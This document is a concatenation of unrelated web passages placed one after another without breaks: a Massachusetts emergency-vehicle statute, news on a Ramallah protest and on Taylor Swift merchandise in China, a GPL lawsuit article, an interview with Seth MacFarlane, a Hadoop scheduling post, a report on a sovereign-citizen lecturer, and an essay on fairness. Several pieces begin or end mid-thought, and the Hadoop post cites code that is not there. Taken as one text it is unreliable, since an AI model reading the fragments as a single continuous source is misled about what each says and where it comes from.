Massachusetts General laws Chapter 89, Section 7B. The driver of a vehicle of a fire, police or recognized protective department and the driver of an ambulance shall be subject to the provisions of any statute, rule, regulation, ordinance or by-law relating to the operation or parking of vehicles, except that a driver of fire apparatus while going to a fire or responding to an alarm, or the driver of a vehicle of a police or recognized protective department or the driver of an ambulance, in an emergency and while in performance of a public duty or while transporting a sick or injured person to a hospital or other destination where professional medical services are available, may drive such vehicle at a speed in excess of the applicable speed limit if he exercises caution and due regard under the circumstances for the safety of persons and property, and may drive such vehicle through an intersection of ways contrary to any traffic signs or signals regulating traffic at such intersection if he first brings such vehicle to a full stop and then proceeds with caution and due regard for the safety of persons and property, unless otherwise directed by a police officer regulating traffic at such intersection. The driver of any such approaching emergency vehicle shall comply with the provisions of section fourteen of chapter ninety when approaching a school bus which has stopped to allow passengers to alight or board from the same, and whose red lamps are flashing.
The law is consistent with NFPA 1500 and best practices, but is unusual in so much as most states do not require the mandatory stop. The case points out the importance of firefighters knowing the law of their state.
The Americans, including employees of the consulate in Jerusalem, were on their way to a U.S. reception in town of Ramallah meant to reaffirm cultural and educational ties with the Palestinians.
Palestinians yelling at a U.S. diplomatic vehicle during protest against U.S. in the West Bank city of Ramallah, Tuesday, Oct. 4, 2011. AP
But relations have grown strained recently, with Palestinians disappointed over President Barack Obama's handling of Mideast peace efforts. They say he is not tough enough on Israel and are also upset over U.S. vows to block their attempt to receive full membership at the United Nations.
Members of Congress have already put a hold on $200 million in economic assistance to the Palestinians to dissuade them from pushing forward with the UN request. Officials have also hinted that aid could be cut altogether if the Palestinians proceed with their plans. The U.S. provides some $500 million a year to the Palestinians.
The activists involved in the demonstration, which was organized on Facebook, called for a boycott of the U.S. reception. They held banners reading, "No for the American funds," "Veto America" and "Obama, your vision is shortsighted."
One man, dressed in a tie and sunglasses, spewed an English-language expletive at the convoy.
A State Department official said employees of the American consulate in Jerusalem were among those caught up in the protest.
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After a short delay, Palestinian police cleared a path for the American convoy to enter the resort where the reception took place. But several Palestinian invitees said they were intimidated by the protesters and backed out of the event at the last moment.
Tami Rafedi, a 35-year-old Palestinian activist pursuing a Ph.D in Florida on a U.S. scholarship, said the action was meant to "send a message to America."
"You cannot stand against our national aspirations and you cannot blackmail us with your money," she said.
The U.S. is committed to Palestinian independence, but like Israel, it says the United Nations is not the proper place to achieve statehood, and that peace can only come about through negotiations.
With peace talks stalled for most of the past three years, the Palestinians have said they have little choice but to turn to the UN.
The Fast and the Furious Animated Show
Adventures abound as a group of teenagers infiltrates an elite racing league controlled by a nefarious organization bent on world domination.
Unbelievable
After a teen reports being raped, then recants her story, two female detectives follow evidence that could reveal the truth. Based on a true story.
Klaus
PINOCCHIO
Oscar-winning filmmaker Guillermo del Toro reinvents the classic tale of the wooden puppet who dreams of becoming a real boy.
Upstarts
Determined to ride the burgeoning wave of startup companies, three college graduates set out to change the world while making millions.
Second City Television Special (Working Title)
Martin Scorsese directs this Netflix original comedy special exploring the enduring legacy of Emmy-winning sketch comedy show "SCTV."
Mirage
A space-time continuum glitch allows Vera to save a boy's life 25 years earlier, but results in the loss of her daughter, whom she fights to get back.
The history of open source is long and full of legal questions. The first version of the General Public License, which is one of the most common licenses, was published in February 1989. Since then, it has been widely used in free and open-source software (FOSS) and commercial products. Possibly the most famous GPL project off all time is the Linux kernel, that has been later adapted to be the heart of Android — now the most popular mobile operating system of all times.
GPL projects are used in many free and commercial applications. The GNU GPL license requires developers that use the GPL-licensed software to adhere to its licensing. A developer modifying GPL-licensed code must release a source if he or she releases a project to the public. For instance, a custom Android kernel based on the official one must be an open-source project too, and the source must be made available to those that request it.
GNU GPL must always be free
A South Korean developer company called Hancom, decided to use the source code of PostScript and PDF interpreter Ghostscript. The latter is an open-source project that uses GPL as its license. The specific Ghostscript licensing thus obliged Hancom to do one of two things: the South Koreans could either open the source-code of Hancom Office suite, or pay a licensing fee to Artifex. Hancom Office is free to install, although it remains a commercial product and its developers intend to profit from it. So far, the application was installed more than 100,000 times.
Ghostscript has been part of Hancom’s software since 2013. The company didn’t open the source code or pay the fee, so Artifex decided to fill a lawsuit against them. A trial took place in the US District Court for the Northern District of California.
In the complaint, the Ghostscript creators expressed their concern about the infringements of the GNU GPL and Artifex’s copyright. Artifex wanted Hancom to pull the code of Ghostscript and pay a “reasonable royalty”.
Hancom reportedly made $86.3 million in revenue for their products in 2015. The South Korean company refused to pay, and issued a motion to dismiss the case. As a reason, they said that the company didn’t sign anything so the license wasn’t ‘a real contract’.
The GNU GPL is often belittled and ignored by companies, even some of the bigger ones. To illustrate the problem we can look at the smartphone OEMs and SoC producers, who often refuse to distribute the source code they are obliged to provide. In the past, XDA made several public call-outs to OEMs to who don’t adhere to the rules established by GPL licensing. Unfortunately, there is still a number of smartphone producers that do not take the GPL seriously.
The enforceability of open source licenses like the GNU GPL has remained a legal question for a long time. The Federal Circuit Court of Appeals held in a case in 2006 in which Robert Jacobsen sued Martin Katzer for copyright infringement, and Artifex v. Hancom is another big case that can possibly change the general perception of open-source contracts.
Wake up call?
Judge Jacqueline Scott Corley, in her order on the motion on April 25, said that one doesn’t need to sign a contract to be legally bounded to open-source license requirements. Judge Corley stated that “[the] Plaintiff alleges that Defendant used Ghostscript, did not obtain a commercial license, and represented publicly that its use of Ghostscript was licensed under the [GNU GPL]. These allegations sufficiently plead the existence of a contract”.
The lion's share of the plutonium used for the US nuclear arsenal during the Cold War came from the Hanford plant on the Columbia River in the US state of Washington. The plutonium used in the first atomic bomb test in July 1945 came from Hanford as did the material used in "Fat Man," the bomb which destroyed Nagasaki on Aug. 9, 1945.
Fifty-two buildings at Hanford remain contaminated to this day, and 240 square miles are uninhabitable due to the radioactivity that has seeped into the soil and ground water: uranium, cesium, strontium, plutonium and other deadly radio-nuclides. Altogether, more than 204,000 cubic meters of highly radioactive waste remain on site -- two-thirds of the total for the entire US. In one area, discharges of more than 216 million liters of radioactive, liquid waste and cooling water have flowed out of leaky tanks. More than 100,000 spent fuel rods -- 2,300 tons of them -- still sit in leaky basins close to the Columbia River.
He’s not “family,” but Emmy-winning Family Guy and American Dad creator Seth MacFarlane consistently packs his irreverent animated sitcoms with queer gags and subplots, even devoting entire episodes to hot-button gay issues such as marriage and adoption rights. With his sexy baritone (similar to Family Guy’s alcoholic dog Brian, just one of the many colorful characters he voices himself), the 34-year-old devoted Democrat drew us in to discuss what makes homosexuality so damn funny, and — step aside, Dumbledore — out one of his most popular characters as “almost certainly gay.”
The Advocate: I hope you’re prepared for my very gay line of questioning.
Seth MacFarlane: I spent half the holidays with my gay cousin, so I think I’m good to go.
How did your cousin inform your views on homosexuality?
We went to see him in a show when he was in high school or college, and I remember my parents talking about the fact that he might be gay and just doesn’t know it yet. It turned out that they were right. With certain parts of our family, it was taken for granted — “Oh, he’s gay” — and we didn’t think any more of it. Other parts of the family were, at times, less enlightened about it. At one point somebody said, “Maybe there’s a way for him to be cured,” which was fucking horrifying to hear from somebody that you love. But I credit my parents for raising me to be a logical person. I went to a very conservative boarding school called Kent with a lot of Republican students from very wealthy families, and a lot of times that does come with an unfortunate amount of negative traditionalism. I certainly remember hearing students use the word “fag” and whatnot, but it didn’t really register with me just because I hadn’t been directly exposed to any openly gay people yet. But then when I was, it was nice to find out that my brain was already set up the right way, so I didn’t give a shit.
Were you ever mistaken for gay, perhaps due in part to your longtime love of musical theater?
Oh God, yeah. Big deal.
Did that ever cramp your style romantically?
No. If anything, it would’ve helped. Hot chicks love gay guys.
What inspired Family Guy’s season 4 gay marriage episode “You May Now Kiss the…Uh…Guy Who Receives,” in which Brian’s flamboyant cousin Jasper visits with his Filipino boyfriend?
A couple of years prior I had teamed up to write a pilot with two writers, both of whom were gay. One of them said that when he travels through the Midwest with his partner they have to go through this fucking dog and pony act when they stop at a hotel and the guy behind the counter says, “You want one room or two?” They have this charade where they’ll say to each other, “Is one room OK with you?” “Yeah, I’m cool with that if you are.” “Yeah, no big deal, we’ll just take one.” That was one of many conversations I had with them where I thought to myself, Why is it that Johnny Spaghetti Stain in fucking Georgia can knock a woman up, legally be married to her, and then beat the shit out of her, but these two intelligent, sophisticated writers who have been together for 20 years can’t get married? It’s infuriating and idiotic. I’m incredibly passionate about my support for the gay community and what they’re dealing with at this current point in time. I have arguments with people where I get red in the face, screaming at the top of my lungs.
According to DVD commentary, [your “standards and practices” legal department] had you say that an antigay propaganda video shown in the episode was made by “Pat Robertson Industries” to ensure that Fox wouldn’t be called homophobic. Are they always so paranoid when it comes to gay issues?
It just depends. Religion is a lot more sensitive on a weekly basis to standards and practices than anything, which pisses me off. I was surprised that we were forced to add that Pat Robertson thing, because you had this unbelievably radical antigay film — obviously it was something we were making fun of. I thought, Aren’t people smart enough to know better?
The Parents Television Council voted the episode, along with many others, “Worst TV Show of the Week.” Do you appreciate that honor?
Oh, yeah. That’s like getting hate mail from Hitler. They’re literally terrible human beings. I’ve read their newsletter, I’ve visited their website, and they’re just rotten to the core. For an organization that prides itself on Christian values — I mean, I’m an atheist, so what do I know? — they spend their entire day hating people. They can all suck my dick as far as I’m concerned.
Using the news anchor couple Greg and Terry, you’ve also tackled LGBT issues on American Dad, most recently in the adoption episode “Surro-Gate.” Do you think you’re influencing viewer opinion?
I certainly hope that we’re doing a small part to advance progress in that area. But there are some bits that we do on Family Guy and American Dad that are just pure comedy which I hope are not influencing people.
But really my AOL hat really isn’t enough to keep me from absolutely loving what Stephen Colbert just did in an acutely searing critique of The Huffington Post’s controversial content practices.
On his show tonight Colbert, frustrated with all the free content Arianna Huffington has been glomming off “The Colbert Report” and others, announced that he would build his own site and call it “The Colbuffington Re-Post.” The Colbuffington Re-Post has “everything you love about the Huffington Post because it is the Huffington Post with a new border around it that says the Colbuffington Re-Post.”
Har har indeed, except that when you actually visit TheColbuffingtonRepost.com, it truly serves up an exact copy of The Huffington Post with Stephen Colbert’s Colbuffington Re-Post logo. a) I’m not sure this is even legal. b) Just wait ’til Arianna gets a load of this.
And sure The Huffington Post might just repost this story and somehow find a way to monetize it all and true we’re getting traffic of this too (Thank you for the free content Stephen) … But aside from what this means in terms of eCPM or whatever the business model is these days, we as consumers and producers of media must sit back and appreciate the sheer ingenuity of The Colbuffington Re-Post, at least for a moment. You win Colbert.
Notable quotes from the above clip:
“I’m a big fan of the Internet, it can answer any question from ‘Where can I get a pair of pants?’ to ‘Where is the porn?’ to ‘Woo boy where can I get another pair of pants?'”
“Huffpo is famous for its extensive comprehensive coverage of things other people produced and put on the Internet.”
“Hopefully HuffPo will be a new source of revenue for AOL, whose income currently depends on 82 year old Delaware resident Claire Meyers and the $10 an hour she still pays for dial up service.”
“You have acheived the impossible, you have made me feel angry while looking at pictures of myself. “
“Where’s my money Arianna? Don’t make me put on my rings”
“And I am proud to announce that the Colbuffington Re-Post is for sale for $316 million. Arianna if I find a buyer, I promise to give you the same cut you give me.”
Triggering the processing of data in Hadoop—as soon as enough new data is available—helps optimize many incremental data processing use-cases, but is not trivial to implement. The ability to schedule a job (such as MapReduce or Spark) to run as soon as there’s a certain amount of unprocessed data available—for instance, in a set of HDFS files or in an HBase table—has to find a balance between the speed of delivering the results and the resources used to compute those results.
The direct solution—where a scheduler polls the source of data for its state or size at regular intervals—has a number of issues:
The scheduler has to know how to deal with different type of sources. Adding a new source type—say, a Hive table—would require updating the scheduler to add support for it.
Computing the state of the source can be complex. The source of data can have a complex structure, such as a hierarchy of directories on HDFS with many files that represent partitions of a data set. Data size does not always increase: sometimes it can reduce due to the application of a data retention policy where old files are scrubbed, making keeping track of progress more complicated.
Computing the state of the source can be resource intensive. For instance, finding out the size of newly written data in an HBase table may require scanning through the actual data or collecting statistics on the table’s files in HDFS.
Infrequent polling for a source state may cause unwanted delays in processing the data. With computing the state being complex and resource intensive, it is common to configure polling at greater intervals. Depending on the nature of the source, this can mean that data is processed with increasingly greater delays, or that many polls are redundant and unnecessarily eat up resources.
In this post, we talk about a solution that addresses some of these pain points.
Decoupling of source and scheduler
To simplify the scheduler and allow adding new types of sources without changing a scheduler we want to decouple the two. Moving the tracking of source state into the source itself (or the writer of the data) also helps to do it more efficiently because there’s a lot more insights into the ingested data on the source side. To decouple source and scheduler, we introduce the source state management system:
The source reports its state incrementally, as it writes new data, to a state management system. The scheduler polls for state changes at regular intervals and triggers the job, if needed, based on a schedule configuration. Thus, the scheduler only interacts with the state management system.
Optimize the data source querying delay by using notifications
Decoupling sources and the scheduler helps to reduce the dependency between the two, but it still leaves polling issues which can be addressed by introducing notifications. In order for the scheduler to trigger a job immediately—even when data arrives at the source in between two polls—the scheduler must be notified about the changes earlier when there’s a significant state change. For example, every time certain amount of data is written to the source, a notification can be published:
Upon receiving the notification, the scheduler polls the state of the source right away to confirm that there is enough data to start a job. If there’s enough new data, the scheduler triggers the job.
Example: Scheduling a job based on data availability in a CDAP Stream
Let’s take a look at how the open source Cask Data Application Platform (CDAP), running on Hadoop, implements a solution that allows you to schedule a job based on data availability in a Stream. One benefit of CDAP being an integrated platform is that it includes many auxiliary services that help developers to build and run applications and perform system tasks, including scheduling jobs.
In CDAP, the built-in Metrics service is used to maintain statistics for various resources managed by the platform, while the Notification service helps optimize the polling. A Scheduler uses the two to trigger a data processing job within a Workflow container.
CDAP provides an abstraction for elastically scalable real-time and batch data ingestion, called a Stream. A StreamWriter stores data as files on HDFS that can later be consumed for processing in either realtime or by a batch job. It reports the changes in the statistics of the Stream incrementally by emitting metrics to a metrics system. Once the change reaches a configured threshold, the Stream sends a notification to the notification system that then distributes it to subscribers so they can take action. This allows the scheduler to perform infrequent polling and still be able to quickly act on changes. Notifications are optional: the Metrics system acts as the “source of truth” in the end. This makes both the Notification and Metrics systems simpler and more efficient at what they do.
With the recently released v2.8.0 of CDAP, configuring the job to run when enough new data has been written to a Stream is straightforward:
The code above creates a Stream, adds a Workflow and configures the Workflow to be run when one megabyte of new data has been ingested into the Stream. More information on how to build and run PurchaseApp example can be found here, with its source code available here.
Summary
Scheduling a job in Hadoop based on the availability of data is a very common use case. At the same time, it is not a trivial feature to build and is best handled with an integrated platform. Check out the solution we’ve built—completely open-source—here at Cask. Also, stay tuned for the follow-up posts in which we cover more details about how we built Notification and Metrics services within CDAP.
There were also signs that Republicans had figured out a way to capitalize on Donald Trump’s unlikely success in 2016. Gillespie, a former Republican National Committee chair and lobbyist synonymous with the Republican establishment, seemed to have found a playbook that could work for Republican candidates. Gillespie kept his personal distance from Trump, but embraced his underbelly-of-American-politics style. The tax cut that Gillespie ran on in the Republican primaries was out; defending Confederate monuments and attacking the gang MS-13 were in. This combination, which allowed Gillespie to appeal both to suburban voters and to Trump diehards, was considered potentially lethal. Trump may be historically unpopular, but Gillespie had apparently found a way to square the circle.
Welp. Looking at the results from Tuesday’s elections, Republicans should be very, very worried about the future. Northam routed Gillespie. There were other elections, too: In New Jersey, Democrat Phil Murphy won handily, as expected, and Bill de Blasio was re-elected as mayor of New York City. That may not sound surprising, but Democrats haven’t won all three of those races since 1989.
This CD cover image released by Big Machine Records shows "1989," the latest release by Taylor Swift. (AP Photo/Big Machine Records)
Taylor Swift, fresh from an online feud with Nicki Minaj from Tuesday night, may want to get prepared for a new enemy with even bigger geopolitical influence: the Chinese government.
The issue stems from the American singer's decision to bypass China's many counterfeiters and launch her own Taylor Swift-branded clothing for sale through Chinese e-commerce giants JD.com and Alibaba Group. From August 8, these Web sites will begin selling $60 branded T-shirts and a women's line of clothing, according to the Wall Street Journal.
Swift announced the new business venture to her Chinese fans with a video on Sina Weibo, a Chinese microblogging platform where she has more than 4 million followers. While most fans seemed positive, some complained that it would be too expensive. As the Guardian's Fergus Ryan notes, however, the bigger problem may come not from the fans, but from Chinese authorities.
That's because the name of her album and upcoming tour, "1989," which is featured on much of her merchandise, can refer to something altogether darker in China.
June 4, 1989, marks the date that the Chinese military moved into Beijing's Tiananmen Square to quash a student uprising that had shaken the Communist regime to its core. What happened next made gruesome headlines around the world, with hundreds if not thousands of civilians killed. For the past 26 years, the Chinese state has strictly controlled all information about what happened that day.
[VIDEO: Post's Beijing bureau chief talks about what led Tiananmen Square crackdown]
In the Internet era, however, that's become quite a task. In 2013, researcher Jason Ng identified scores of search terms that were banned around the anniversary of the killings. They included simple terms such as "天安门" (Tiananmen Square) and "坦克人" (Tank man), but also featured a variety of references to dates, including "八9六4" (89 6 4) and 八九運動 (1989 movement). Last year, for the 25th anniversary of event, China blocked all access to Google.
In this context, Taylor Swift's plan to sell clothing featuring both "1989" and "TS" in large letters may make things a little awkward, even if her intentions were innocent enough: The references appear to be to her birth date and her name, respectively.
So far, most of her Chinese fans appear to be more interested in her music than any political inferences, and the Chinese government hasn't blocked her album or her tour. But many in China are aware of the significance of the date, and for authorities it may raise an uncomfortable question -- could Taylor Swift merchandise unwittingly become the uniform of Chinese dissidents?
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Videos posted online show the scofflaw rancher’s supporters explaining their ideologies in lengthy lectures, such as one posted earlier this month that shows “private attorney general” Jeff Ball explaining that laws don’t apply to individuals if they understand how to rebut them.
“I want to give you guys the basic chain of command, all right?” said Ball, of the Citizens Action Network. “Up at the top of this tree is the creator, whoever your creator is, that’s where the creator’s at. The one below that is you, okay? So your original contract was with the creator.”
Ball’s lecture mingles “sovereign citizen” rhetoric with conspiracy theories promoted by perennial presidential candidate Lyndon LaRouche.
“The earth is our inheritance, OK, but what these guys are trying to do is third-party their way into it,” Ball said. “So here’s how they want you to believe the chain of command goes: God, the Vatican, Washington, D.C., the city of London.”
Ball claimed London controlled the world’s finances, while Washington created war and kept slaves in line by “taxing them to death,” and he argued that the Vatican interfered with an individual’s contract with the creator.
“You guys have a contract with the creator and this earth is your inheritance,” he said. “That’s it; there is no more. You’re not subject to anybody, as long as you don’t hurt anybody. If you create injury on somebody, then that’s a different story.”
Ball argued that the state could not be a claimant under common law, but he said government prosecutors unlawfully did so in nearly every criminal proceeding.
“There’s no claimant,” he said. “The state’s not allowed to be a claimant, yet they do that every day. If you don’t rebut it, then that means you consent to it, and they move forward with it and they subjugate you to it.”
Ball argued that Americans had loaned out their sovereignty to public servants, but they reserve the right to take it back.
“So when that governor, that sheriff, doesn’t do his job, we can go take them out of office,” he said. “We don’t have to wait for an election.”
He didn’t explain how that worked, but in another video posted online, Ball argues that individuals can escape police questioning by insisting officers fill out a form.
As the Eagles’ 1979 Al Green pastiche, “I Can’t Tell You Why,” plays in the background, Ball explains that sovereign citizens can hold public officials accountable for violating their oath with the Public Servant Questionnaire.
Ball claims the document, which asks for identifying information and explanations of the officers’ intentions, must be filled out by public servants before they question citizens.
He argues the questionnaire is authorized by the Privacy Act of 1896.
"But Dad, that's not fair! Why does Keaton get to kill zombies, and I can't?"
"Well, because you're too young to kill zombies. Your cousin Keaton is older than you, so that's why he can do it. You'll get nightmares."
"That's sooo not fair!"
"Next year, after your birthday, I'll let you kill zombies."
It's not exactly Little House on the Prairie, but this is a real conversation between my 8-year-old son and me. Age-ratings on zombie-killing video games are just one of modern life's great injustices, according to my son.
Every parent has heard the f-word, fairness, intoned ad nauseam by their negotiating kids. My own son was an eloquent voice for egalitarianism, even before he could tie his shoes or tell time. Of course, it's not exactly universal equality that he and other kids are lobbying for, but something much more self-interested.
Kids learn early on that an honest declaration of "I'm not getting what I want" holds little persuasion for parents. So they quickly figure out how to mask their egocentric frustrations with the language of fairness. An appeal to an objective standard of fairness will at least buy some bargaining time for further negotiations. This is not entirely duplicitous on the part of the child, who is often legitimately confused and cannot easily distinguish his private sufferings from larger and clearer social imbalances.
Fairness, however, is not the be-all and end-all standard for justice, nor is it the best measure of our social lives. As a philosopher, I've noticed a tremendous amount of conceptual confusion in our use of fairness. And though we're hearing a lot of the language of fairness hurled around lately in political rhetoric, it often hinders real conversation and debate more than it helps. Most people, for example, assume that the opposite of fairness is selfishness, and since selfishness is manifestly terrible, no one but a hapless Ayn Rand devotee would be so foolish as to critique fairness. But the real opposite of fairness is favoritism—filial, tribal, nepotistic partiality—not egoistic selfishness. If that's true, then a lot of us—on the left and the right—are unwitting daily sinners against fairness. And that's not a bad thing.
Having favorites and having an open mind about differences are not mutually exclusive.
We confuse our kids and ourselves about fairness. Most of the stories of children's culture pull a sleight-of-hand trick. They regularly address two worthy qualities that every child should cultivate—sharing and open-mindedness (toward people who are different). But while we all approve of the great virtues of sharing and diversity, we are informed that these are matters of fairness and equality—which, in point of fact, they are not.
Reducing a child's greediness is not the same as making her egalitarian. One can eliminate greed entirely and still remain preferential with one's goods, one's time, and one's affection. Like the characters in many kid's stories, our children are encouraged to spread the wealth, whether it be money, magic beans, or candy.
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Greed is a terrible vice, and generosity must be cultivated in order to counteract it. But a child should not be expected to distribute her wealth to just anyone on the playground. Even if she has enough candy for the whole playground population, each kid does not have a moral claim on her to receive some candy. A child might be so generous, in fact, that she gives away all her candy and does not retain some for herself. But the quality of her generosity—the strength of her virtue—is not compromised by the fact that she gave it all to her five friends. She is still a very generous kid. A person might give everything she has, in fact, to one other person and thereby show profound generosity. This demonstrates the independence of generosity (or sharing) from fairness, even though the two are often conflated in our cultural conversation. A person can be both highly generous and highly biased at the same time. Being in favor of favoritism, then, is not being against sharing.
Teaching kids to share and calling it fairness is at best a confusion and at worst a deception. A similar bait-and-switch in contemporary childhood education is teaching kids to appreciate diversity but erroneously calling this virtue of open-mindedness fairness. Those two values are so commonly confused that any critique is immediately met with charges of prejudice, discrimination, racism, sexism, and bigotry. But having favorites and having an open mind about differences are not mutually exclusive.
Obviously xenophobia needs addressing and fixing in schools. But a popular training curriculum in Europe, "Diversity and Equity in Early Childhood Training," follows American schools in equating open-mindedness with fairness, and it sees all tribal tendencies as the enemy. Favoritism and bias are demonized and treated as equivalent to bigotry. For example, the manual recommends exercises for kids using an "anti-bias persona doll." The anti-bias persona doll started in America but has also been embraced in European diversity training. The method uses dolls of various ethnic appearances to tell stories of mistreatment. Kids are asked to help rectify scenarios wherein the persona has suffered some prejudice and mistreatment.
So far, so good, but children are taught that all bias is unfair, and that fairness is equity, which is possible only after bias has been eradicated. Teachers join in this fight against favoritism and bias—the manual claims that the best way to fight against the evils of racism, sexism, and social-power imbalance is to use what it calls the "anti-bias" approach. In workshops, teachers must find their own biases (in a therapeutic session) and then root them out.
I want to argue something counterintuitive here. Contrary to all this received wisdom, open-mindedness is actually compatible with favoritism and bias. Starting in the 1950s, researchers began running children through a variety of racial-preference play tests and "trait assignment" tasks. The Preschool Racial Attitudes Measure (1975) and the Multiple-Response Racial Attitudes Measure (1988) continued this method, asking kids to assign positive and negative traits to images of black and white children. Researchers wanted to see if kids assign traits, like "nice" or "mean" or "dirty" or "clean," based solely on racial features.
Since some of this trait assignment does correlate with racial differences, it was thought to be evidence for early-childhood racism. Kids seemed to be negative and prejudiced toward "outgroups"—those of different racial or ethnic or cultural background. That view fits with a long-held bit of folk wisdom: People come together against a common enemy or set of strangers. Racial differences seem to create solidarity out of negativity. That view has mixed with developmental views, like Piaget's, and has become part of a story that describes all kids as moving from early-childhood selfishness, to intermediate group concern, to the final stage of principled fairness for all. Each predecessor is considered an impediment to its successor.
However, more-recent research, especially by the psychologists Sheri R. Levy, Melanie Killen, Heidi McGlothlin, and Alexandra Henning, has shown something very interesting, something counter to all this folk wisdom. Yes, "ingroup" bias is very strong—we identify with people who most resemble us—but it doesn't really correspond with negativity toward outgroups in the way we previously thought. The earlier testing (trait-assignment tasks) forced kids into false dichotomies. Given only a narrow set of positive and negative traits and racial subjects to designate, kids automatically preferred their own similar ingroups, but then had no other choice but to assign negative traits to those individuals and groups who were different.
Subtler testing shows that group favoritism does not automatically entail negative judgments or attitudes toward outgroups. Without the forced-dichotomy testing, kids will attribute to outgroups neutral traits and positive traits, not negative traits. Killen, McGlothlin, and Henning articulate the problems inherent in the forced-choice method: "A child who assigns the trait 'nice' to the picture card that looks like the self (ingroup) may do so to associate a positive trait with the self; this decision may not reflect anything about the child's outgroup attitude. Conversely, assigning a negative trait to a picture card reflecting a member of the outgroup may be a result of avoiding associating a negative trait with the ingroup rather than as a reflection of a negative view of the outgroup category."
Love trumps fairness every time. It says: I don't care if other people are more deserving.
These recent findings undermine the old assumption that favoritism automatically entails bigotry toward outgroups. Intergroup relationships and judgments, even among kids, are much more complex than we thought. Kids simultaneously make social evaluations based on at least three criteria: self-interests, group interests, and justice interests. The old folk wisdom that group closeness comes from opposition to others is not borne out by recent data. Nor is the old developmental story that we all start out as egoistic Hobbesians, who slowly learn to care for others. Affective neuroscience research on early-childhood bonding suggests that, as mammals, we probably start out as emotionally glued microcommunities (family and tribe) before we become autonomous ego-driven creatures. Favoritism, not egoism, is probably the primal value system.
In short, favoritism or bias toward your group is not intrinsically racist, sexist, or closed-minded. Privileging your tribe does not render you negative or bigoted toward those outside your tribe. And to top it off, we're now beginning to understand the flexible nature of our ingroup favoritism—it doesn't have to be carved along bloodlines, or race lines, or ethnic lines. Psychological experiments reveal a whole range of criteria for ingroup bias. For example, test subjects have been shown to award higher payoffs to arbitrary ingroups, like people who just happen to share the same birthday as the test subject. And ingroup bias can be demonstrably strong when subjects share allegiance to the same sports teams, and so on.
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Young people in our schools are repeatedly exposed to a bogus association between unbiased equality for all and open-mindedness. But even the laudable pantheon of fairness fighters, paraded before elementary students, have their origins in ingroup favoritism. Rosa Parks and Susan B. Anthony were not fighting for the equality of all people per se, but for the inclusion of their ingroups. It's no disservice to them or denigration of them to point out this basic fact of favoritism. Some serious allegiance to one's tribe is, after all, how anything gets done at the social level—including civil rights.
Many kids and even adults see fairness in punitive terms. Lofty egalitarian philosophy and the utopian pursuit of equality are noble when legislators are framing constitutions, but the rest of us usually cry "unfair" when we feel slighted, snubbed, or envious of others. Feeling injured, as an individual or group, is strong fuel for our obsession with fairness.
Alexis de Tocqueville studied America and pronounced, "Equality is a slogan based on envy. It signifies in the heart of every republican 'Nobody is going to occupy a place higher than I."
What does my neighbor have? He has reputation, and I do not. He has wealth, and I do not. He has interesting friends, he has opportunity, a better wife, better kids, better morals, better fashion sense, better piano skills, a better diploma. Envy knows no bounds and can thrive in the ghetto or the country club.
Theologians and philosophers have labored to unpack the nuances of envy and noticed that we tend to envy those who are closer to our own lifestyle and class. Thomas Aquinas noticed, in his Summa Theologica, that "a man does not strive for mastery in matters where he is very deficient; so that he does not envy one who surpasses him in such matters, unless he surpass him by little, for then it seems to him that this is not beyond him." I, for one, confess that I envy my neighbor's big backyard more than I do the wealth of Bill Gates, whose affluence seems more remote, fantastical, and even preposterous. Aquinas also cites Aristotle, who noticed that the elderly envy the young for their health and beauty, and nearly everyone hates to see another person gain with ease what you yourself acquired through sweat and difficulty. I have been heard to utter "It's not fair," for example, when I contemplate that my neighbor doesn't work any harder than me and yet flourishes in his obscene estate of a backyard—he and his enormous lawn mocking me. OK, let's move on.
Children and parents were taught something very different about envy in the 19th century. Parents taught their children to accommodate negative feelings like envy using stoic resolve. When the educational philosopher Felix Adler analyzed the biblical Cain and Abel parable, in his 1892 The Moral Instruction of Children, he exhorted young people to master and suppress their feelings of envy, or else they would end up like murderous Cain (recall that envy led Cain to kill his brother after God preferentially favored Abel's animal sacrifice). Envy was to be treated with self-discipline. There will always be people better off than you, and the sooner you accept and conquer your envy, the better off you'll be.
The social historian Susan J. Matt argues that all this changed in the 20th century, and by the 1930s a whole new childhood education regarding envy was in full swing. Social workers "praised parents who bought extra gifts for their children. If a son or daughter needed a hat, adults should buy it, but they should also purchase hats for their other offspring, whether or not they needed them. This would prevent children from envying one another."
The phenomenon of sibling rivalry made its way into the textbooks as a potentially damaging pattern of envy—one that is best addressed by giving all the kids an equal fair share of everything. Subduing or restraining one's feelings of deprivation and envy was considered old school, and new parents (living in a more prosperous nation) sought to stave off those feelings in their children by giving them more stuff.
This trend—of assuaging feelings of deprivation by distributing equal goods to children—grew even stronger in the baby-boomer era and beyond. It has also dovetailed nicely with the rise of an American consumer culture that defines the good life in part by material acquisition. "In a consumer society," Ivan Illich says, "there are inevitably two kinds of slaves: the prisoners of addiction and the prisoners of envy." Today's culture tries to spare kids the pains of sibling and peer rivalry, but does so by teaching them to channel their envy into the language and expectation of fairness—and a reallocation of goods that promises to redress their emotional wounds.
If our high-minded notions of retributive justice have roots in the lower emotions of revenge, then why should we be surprised if fairness has roots in envy? I have no illusions and feel entirely comfortable with the idea that fairness has origins in baser emotions like envy. But most egalitarians will find this repugnant, and damaging to their saintly and selfless version of fairness.
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The merit-based critique of fairness is well known. Plato spends much of The Republic railing against democracy on the grounds that know-nothing dolts should never have equal political voice with experts (aristoi). Elitism is a dirty word in our culture, but not for the ancients.
American hostility to elitism is especially manifest during election seasons, when politicians work hard to downplay their own intelligence and intellectual accomplishments so they might seem less threatening (less eggheadish) to the public. I am in agreement with many of the merit-based critiques of egalitarian fairness. I don't want my political leaders to be "regular guys." I want them to be elite in knowledge and wisdom. I want them to be exceptional.
Our contemporary hunger for equality can border on the comical. When my son came home from school with a fancy ribbon, I was filled with pride to discover that he had won a footrace. While I was heaping praise on him, he interrupted to correct me. "No, it wasn't just me," he explained. "We all won the race!" He impatiently educated me. He wasn't first or second or third—he couldn't even remember what place he took. Everyone who ran the race was told that they had won and were all given the same ribbon. "Well, you can't all win a race," I explained to him, ever-supportive father that I am. "That doesn't even make sense." He simply held up his purple ribbon and raised his eyebrows at me, as if to say, "You are thus refuted."
I don't want my son and every other kid in his class to be told they'd "won" the footrace at school just because we think their self-esteem can't handle the truth. Equal rewards for unequal achievements foster the dogma of fairness, but they don't improve my son or the other students.
